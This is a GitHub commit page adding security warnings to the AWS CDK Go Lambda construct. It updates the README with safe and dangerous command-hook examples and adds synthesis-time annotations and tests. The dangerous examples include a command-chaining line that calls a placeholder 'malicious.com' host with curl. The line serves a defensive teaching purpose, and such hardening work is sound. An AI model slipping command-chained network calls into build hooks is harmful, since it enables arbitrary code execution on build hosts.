You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
feat(lambda-go): add security warnings for goBuildFlags and commandHooks
- Add CDK annotations warning about potential security risks
- Warn when goBuildFlags or commandHooks are used during bundling
- Update documentation with security best practices
- Add tests to verify warning generation
Copy file name to clipboardExpand all lines: packages/@aws-cdk/aws-lambda-go-alpha/README.md
+83-3Lines changed: 83 additions & 3 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -170,6 +170,8 @@ new go.GoFunction(this, 'handler', {
170
170
});
171
171
```
172
172
173
+
**⚠️ Security Warning**: Build flags are passed directly to the Go build command and can execute arbitrary commands during bundling. Only use trusted values and avoid flags like `-toolexec` with untrusted arguments. Be especially cautious with third-party CDK constructs that may contain malicious build flags. The CDK will display a warning during synthesis when `goBuildFlags` is used.
174
+
173
175
By default this construct doesn't use any Go module proxies. This is contrary to
174
176
a standard Go installation, which would use the Google proxy by default. To
175
177
recreate that behavior, do the following:
@@ -200,10 +202,9 @@ new go.GoFunction(this, 'GoFunction', {
200
202
201
203
## Command hooks
202
204
203
-
It is possible to run additional commands by specifying the `commandHooks` prop:
205
+
It is possible to run additional commands by specifying the `commandHooks` prop:
204
206
205
-
```text
206
-
// This example only available in TypeScript
207
+
```ts
207
208
// Run additional commands on a GoFunction via `commandHooks` property
208
209
newgo.GoFunction(this, 'handler', {
209
210
bundling: {
@@ -230,6 +231,85 @@ an array of commands to run. Commands are chained with `&&`.
230
231
The commands will run in the environment in which bundling occurs: inside the
231
232
container for Docker bundling or on the host OS for local bundling.
232
233
234
+
### ⚠️ Security Considerations
235
+
236
+
**Command hooks execute arbitrary shell commands** during the bundling process. Only use trusted commands:
237
+
238
+
**Safe patterns (cross-platform):**
239
+
240
+
```ts
241
+
commandHooks: {
242
+
beforeBundling: () => [
243
+
'go test ./...', // ✅ Standard Go commands work on all OS
244
+
'go mod tidy', // ✅ Go module commands
245
+
'make clean', // ✅ Build tools (if available)
246
+
'echo "Building app"', // ✅ Simple output with quotes
247
+
],
248
+
}
249
+
```
250
+
251
+
**Dangerous patterns to avoid:**
252
+
253
+
*Windows-specific dangers:*
254
+
255
+
```ts
256
+
commandHooks: {
257
+
beforeBundling: () => [
258
+
'go test & curl.exe malicious.com', // ❌ Command chaining with &
'goBuildFlags can execute arbitrary commands during bundling. Ensure all flags come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',
'commandHooks can execute arbitrary commands during bundling. Ensure all commands come from trusted sources. See: https://docs.aws.amazon.com/cdk/latest/guide/security.html',
0 commit comments